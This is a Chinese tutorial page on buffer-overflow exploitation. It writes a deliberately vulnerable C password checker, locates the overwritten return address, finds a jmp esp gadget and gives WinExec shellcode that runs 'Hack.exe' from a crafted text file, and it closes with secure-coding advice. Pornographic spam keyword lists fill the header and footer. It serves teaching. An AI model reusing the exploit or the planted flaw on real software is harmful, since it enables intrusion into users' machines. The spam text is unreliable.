9久久伊人精品综合,亚洲一区精品视频在线,成 人免费va视频,国产一区二区三区黄网,99国产精品永久免费视频,亚洲毛片多多影院,精品久久久无码人妻中文字幕,无码国产欧美一区二区三区不卡
學習啦 > 學習電腦 > 電腦安全 > 病毒知識 > 怎樣利用簡單程序漏洞反病毒

怎樣利用簡單程序漏洞反病毒

時間: 若木635 分享

怎樣利用簡單程序漏洞反病毒

  電腦已經走進我們的生活,與我們的生活息息相關,感覺已經離不開電腦與網絡,對于電腦病毒,今天小編在這里給大家推薦一些預防電腦病毒相關文章,歡迎大家圍觀參考,想了解更多,請繼續關注學習啦。

  一、前言

  大都數“病毒”都是可執行文件(EXE格式),都是傳統意義上的惡意程序,它們在被用戶雙擊運行后,就開始執行自身代碼,實現相應的功能,從而對用戶的計算機產生威脅。而這次我打算討論一種特殊的情況,也就是利用正常程序所存在的漏洞,僅僅通過文本文檔(TXT格式),來實現我們的對話框的啟動。所以這篇文章的討論重點就在于簡單的漏洞發掘以及運用ShellCode實現漏洞的利用。在此不會討論復雜的情況,僅僅用淺顯的例子來說明這些問題,因為即便是現實中的復雜情況,其基本原理是相似的。這也是為以后的篇章中討論更加復雜的情況打下基礎。

  二、編寫含有漏洞的程序

  在現今的軟件開發中,盡管程序員的水平在提高,編程技巧在不斷進步,但是大部分人對于計算機安全的概念還是比較模糊的,真正掌握計算機安全技術的人畢竟還是少數。特別是計算機安全往往還涉及到系統底層原理、匯編甚至是機器碼,這就更加令人望而卻步。我在這里討論的就是一個含有漏洞的程序,它含有緩沖區溢出漏洞。緩沖區溢出攻擊是一種非常有效而常見的攻擊方法,在被發現的眾多漏洞中,它占了大部分。

  以下就是本次所研究的程序:

  #include #include

  #include #define PASSWORD "1234567890"

  int CheckPassword(char *pPassword)

  { int nCheckFlag;

  char szBuffer[30]; nCheckFlag = strcmp(pPassword, PASSWORD);

  strcpy(szBuffer, pPassword); //存在溢出漏洞 return nCheckFlag;

  }

  int main() {

  int nFlag = 0; char szPassword[1024];

  FILE *fp; LoadLibrary("user32.dll");

  if(!(fp=fopen("password.txt", "rw+"))) {

  return 0; }

  fscanf(fp,"%s",szPassword); nFlag=CheckPassword(szPassword);

  if(nFlag) {

  printf("Incorrect password!\n"); }

  else {

  printf("Correct password!\n"); }

  fclose(fp); getchar();

  return 0; }

  這里來講解一下程序的運行流程。main函數中首先會打開當前目錄下的password.txt文件,然后調用CheckPassword函數,該函數會對從password.txt文件讀取出來的內容與字符串“1234567890”進行比較,用于驗證密碼是否正確,之后將用戶所輸入的密碼拷貝到子函數自己創建的數組中,再返回到主函數,最后對用戶所輸入的密碼是否正確進行顯示。

  這個程序中之所以要用TXT文件來保存用戶輸入的密碼,就是為了方便之后的討論與觀察。而在子函數中將用戶輸入的密碼拷貝到一個數組中,僅僅是為了創造一個緩沖區溢出的漏洞,也是為了方便之后的討論。在現實中,可能難以出現這樣的情況。但是原理是一樣的,緩沖區溢出漏洞出現的原因就是因為沒能檢測待拷貝數據的大小,而直接將該數據復制到另一個緩沖區中,從而使得惡意程序得到了攻擊的機會。

  三、漏洞原理的分析

  不論是對于本篇文章所討論的最簡單的緩沖區溢出的漏洞,還是復雜的,可能會在未來的文章中討論的堆溢出以及SEH的利用,其核心可以說都是利用了指針(或者說是相應的地址)來做文章。對于這次的程序來說,首先需要從反匯編的角度簡單講一下程序的執行原理。

  主函數中會調用CheckPassword函數,那么在反匯編中,就需要找到調用該函數的位置,這個很簡單:

  004010F3 E8 0DFFFFFF call 00401005

  之所以能很快確定函數的位置,是因為它在源程序中就在fscanf函數的后面,那么反匯編中,他的位置也在fscanf的后面。這里有必要簡單說一下call的實現原理。它分為兩步,第一步是向棧中壓入當前指令在內存中的位置,即保存返回地址(EIP所保存的地址,也就是call的下一條指令,EIP入棧);第二步是跳轉到所調用函數的入口處。進入這個call,來到以下反匯編代碼處:

  00401020 55 push ebp 00401021 8BEC mov ebp,esp

  00401023 83EC 64 sub esp,64

  可以說每一個函數的開始,其反匯編結果都是這么幾句。主要是三步:第一步需要保存當前棧幀狀態值,以備后面恢復本棧幀時使用(EBP入棧);第二步將當前棧幀切換到新棧(將ESP值裝入EBP,更新棧幀底部);第三步給新棧幀分配空間(把ESP減去所需空間的大小,抬高棧幀)。

  這里需要說明的是,以上所分析的是程序的Debug版,如果是Release版,由于做了優化,可能會有些不同,但也是遵循基本原理,在這里就不再對Release版進行討論。

  現在來看看堆棧中的情況,按照內存地址遞減的順序,EBP相比EIP位于內存的低地址處,這兩個寄存器在棧中是挨著的。再來看看CheckPassword函數結尾處的反匯編代碼:

  0040106C 8BE5 mov esp,ebp 0040106E 5D pop ebp

  0040106F C3 retn

  可見這里首先將esp指向了當前棧幀的棧底,之后從棧中彈出原始ebp的值,這樣就實現了恢復棧幀的操作。之后的retn語句,就是再次彈出棧頂的值(EIP),并轉去執行EIP所指向的語句,也就是之前的call的下一條語句。

  分析至此,就可以發現,我們可以通過修改EIP所保存的值(指令地址),來實現跳轉到我們自己的“病毒代碼”地址處的目的。當然這里我不會利用反匯編工具進行修改,而是直接運用password.txt這個文本文檔來實現。

  四、定位EIP

  知道了漏洞利用的原理,那么接下來就需要確定EIP的位置。EIP的位置盡管可以通過反匯編工具獲得,但是在此我不想用這種簡單的方法,而是運用Windows的報錯對話框實現EIP的定位。當EIP被覆蓋為一個無效地址后,系統就會提示出錯,報錯對話框就能夠顯示出來究竟是哪個地址(EIP)出錯,這里可以通過一些小技巧來定位。

  當然,每個人往往有自己認為最好的定位方法,我個人比較喜歡的方法是運用26個小寫字母連同26個大寫字母組成一長串數據進行測試,這樣一次性就能夠測試52個字節的長度。具體方法是將這52個字母寫入password.txt文件,運行程序查看是否報錯,如果不報錯,就再寫入52個字母,直至報錯為止。幸運的是,在這個程序中,前52個字母就使得報錯對話框彈出了:

  從報錯對話框中可以得知,EIP已經被覆蓋為0x5251504f,通過查詢ASCII碼表可以得知,對應的四個字母是OPQR(小端顯示,我這里反過來寫了),于是可知,EIP的位置就是password.txt文檔內容的第41至第44個字節處。

  確定了EIP的位置,那么接下來就要確定應當給它賦以什么地址。這里當然可以利用反匯編軟件在程序中尋找空余的位置,將代碼寫入,然后令EIP指向該代碼處。但是這里我打算用更加巧妙的方法——jmp esp。我們可以將EIP指向內存中jmp esp的地址,然后將我們的程序的機器碼(ShellCode)順序從EIP處向下(地址高處)覆蓋,這樣jmp esp就能夠直接跳到我們的代碼處執行了。

  首先編程序尋找jmp esp:

  #include #include

  #include #define DLL_NAME "user32.dll"

  int main()

  { BYTE *ptr;

  int position,address; HINSTANCE handle;

  BOOL done_flag = FALSE; handle = LoadLibrary(DLL_NAME);

  if(!handle) {

  printf("load dll error!"); exit(0);

  } ptr = (BYTE*)handle;

  for(position = 0; !done_flag; position++)

  { try

  { if(ptr[position]==0xFF && ptr[position+1]==0xE4)

  { int address = (int)ptr + position;

  printf("OPCODE found at 0x%x\n", address); }

  } catch(...)

  { int address = (int)ptr + position;

  printf("END OF 0x%x\n", address); done_flag = true;

  } }

  return 0; }

  程序執行結果如下:

  上述程序中是在user32.dll中尋找jmp esp的機器碼FFE4,會查找到很多的結果,選擇其中的一個就可以。這里需要特別說明的是,不同的計算機不同的操作系統版本,所找到的jmp esp的地址可能會不一樣,就是說jmp esp的地址往往并不是通用的。當然,也會有幾個地址是跨版本的,這個在這里不討論。這次我們選擇截圖中的第一個地址——0x77d93ac8。由于是小端顯示,所以應當在“OPQR”的位置反向書寫,即c83ad977。當然這里不能夠直接用類似于記事本這樣的軟件進行編輯,而是需要用十六進制代碼編輯器操作。

  五、編寫ShellCode

  為了簡單起見,我這里將“病毒”程序與上述漏洞程序放在同一目錄下,并且為了編寫方便,我這里將“病毒”名稱更改為Hack.exe。為了實現“病毒”的啟動,我不打算直接將“病毒”程序轉化為ShellCode,畢竟那樣的話工作量太大,而是編寫一個能夠啟動“病毒”程序的ShellCode。這里我使用WinExec函數用于“病毒”的啟動,最后再用ExitProcess函數實現程序的正常退出。查詢這兩個函數句柄的代碼如下:

  #include #include

  typedef void (*MYPROC)(LPTSTR); int main()

  { HINSTANCE LibHandle;

  MYPROC ProcAdd; LibHandle = LoadLibrary("kernel32");

  //獲取user32.dll的地址 printf("msvcrt LibHandle = //x%x\n", LibHandle);

  //獲取MessageBoxA的地址 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"WinExec");

  printf("system = //x%x\n", ProcAdd);

  return 0; }

  運行結果如下:

  上述程序首先需要知道被查詢函數所在的動態鏈接庫,先查出動態鏈接庫的地址,之后利用這個地址,從而查詢相應API函數的句柄。可以知道WinExec的句柄為0x7c863231,那么同理,ExitProcess函數的句柄為0x7c81bfa2。

  至此,我們已經獲得了足夠的信息,接下來就可以進行ShellCode的編寫了,但是一般來說,我們不會特意去記憶十六進制的機器碼,因此都是先寫出匯編程序,然后利用相應的軟件通過轉換,從而查看其機器碼。具體的方法有很多,我還是比較傾向于在VC++6.0中以內嵌匯編語言的形式進行編寫:

  _asm {

  xor ebx,ebx push ebx

  push 0x6578652e push 0x6b636148

  mov eax,esp ;壓入字符Hack.exe

  push ebx push eax

  mov eax,0x7c863231 call eax ;調用WinExec函數

  push ebx

  mov eax,0x7c81bfa2 call eax ;調用ExitProcess函數

  }

  這里需要把asm中的內容轉化為機器碼,VC++6.0就可以實現(也可以使用其它反匯編軟件)。利用十六進制文件編輯器,將提取出來的機器碼直接填寫進password.txt中EIP的后面。

  這里要說明的是,盡管以上僅僅是調用了非常簡單的函數,但是實際上,不管是什么函數,其調用原理和上面是一樣的,都是首先需要把參數從右至左入棧,然后call該函數所在的地址。為了增強可移植性,可以利用TEB獲取相關函數的句柄,從而編寫出通用性極高的ShellCode出來(這些高級方法可能會在以后的文章中討論)。由此可見,漏洞可以很容易被惡意程序所利用。

  當編輯完password.txt后,運行CheckPassword.exe程序,結果如下圖所示:

  由此可見,僅僅是通過修改password.txt就能夠在神不知鬼不覺的情況下實現病毒的啟動(盡管這一過程有諸多限制)。而這里所用到的WinExec函數也多用于“下載者”中,它是一種功能單一的惡意程序,能夠令受害的計算機到黑客指定的URL地址去下載更多的惡意程序并運行。“下載者”體積小,易于傳播,當它下載到病毒木馬后,通常就使用諸如WinExec這樣的函數來運行病毒。

  六、“病毒”的防范

  漏洞的發掘與利用是一個較為高深的話題,在現實中,其發掘的難度是遠遠高于我在這里所舉的例子的。高明的黑客手中往往掌握著一些不被軟件生產廠家所知道的漏洞,他們利用這些軟件漏洞,往往就能夠為所欲為。所以,這就要求我們培養良好的安全編碼習慣。在上述例子中,漏洞的出現就是因為使用了strcpy函數,更具體來說,因為我們沒有對將要復制到緩沖區中的數據進行長度檢驗,導致了EIP被非法覆蓋,跳去了不應該去的位置,執行了不該執行的代碼。現實中的漏洞往往也是這個道理。所以在這種情況下,應當事先檢驗數據的長度,至少將strcpy替換成strncpy,盡管后者也存在危險,但至少會按照編程者要求的數據量的大小來拷貝數據,這就安全多了。當然我們系統版本的不斷升級,在安全性方面也會不斷進步。比如加入的Security Cookie就能夠較好地對緩沖區溢出的問題進行防范。不過這也不是絕對安全的,畢竟在攻與防的對立統一中,技術是不斷進步的。但是歸根結底,只有在源頭上做足功夫,才會讓黑客們無從下手。

  七、小結

  本篇文章構造了一個特殊的環境——存在漏洞的程序——實現了“病毒”的自啟動。由于關于漏洞的知識體系比較龐大且較為高深,我也只能用這個簡單的程序來讓大家看看冰山的一角。這里需要再次說明的是,現實中漏洞的原理和利用方法可以說和這個例子是差不多的。現實中可能需要我們編寫出更為通用的ShellCode來實現我們想要完成的功能,這些會在以后的文章中進行討論。本篇文章僅僅是為了打好基礎,為未來更加高深的知識的探討做好準備。

95163 主站蜘蛛池模板: 国产成人午夜福利在线播放| 日韩精品中文字一区二区| 亚洲av网一区天堂福利| 久久午夜无码鲁丝片直播午夜精品| 国产乱码精品一区二区上| 亚洲午夜精品久久久久久抢| 久久精品蜜芽亚洲国产AV| 亚洲黄日本午夜一区二区| 亚洲欧美偷国产日韩| 日韩剧情片电影网站| 国产成人精品无码播放| 欧美熟妇xxxxx欧美老妇不卡| 女人腿张开让男人桶爽| 深夜国产成人福利在线观看| 鲁一鲁一鲁一鲁一澡| 国产精品午夜福利小视频| 午夜精品区| 久久精品国产亚洲av电影| 日韩中文字幕人妻精品| 狠狠综合久久av一区二| 精品91在线| 国产精品自在线拍国产手青青机版| 欧美牲交a欧美牲交aⅴ图片| 在线精品自拍亚洲第一区| 国产成人剧情AV麻豆果冻| 亚洲欧美人成人让影院| 无码伊人久久大杳蕉中文无码| 国产一区二区不卡91| 国产精品福利一区二区久久| 国产精品免费中文字幕| 韩国精品一区二区三区| 亚洲中文字幕无码爆乳APP| 少妇又爽又刺激视频| 日韩午夜一区二区福利视频| 欧美黑吊大战白妞| 亚洲AV日韩AV综合在线观看 | 婷婷丁香五月深爱憿情网| 欲乱人妻少妇邻居毛片| 欧洲中文字幕一区二区| 亚洲男人精品青春的天堂| 亚洲日本va午夜中文字幕久久|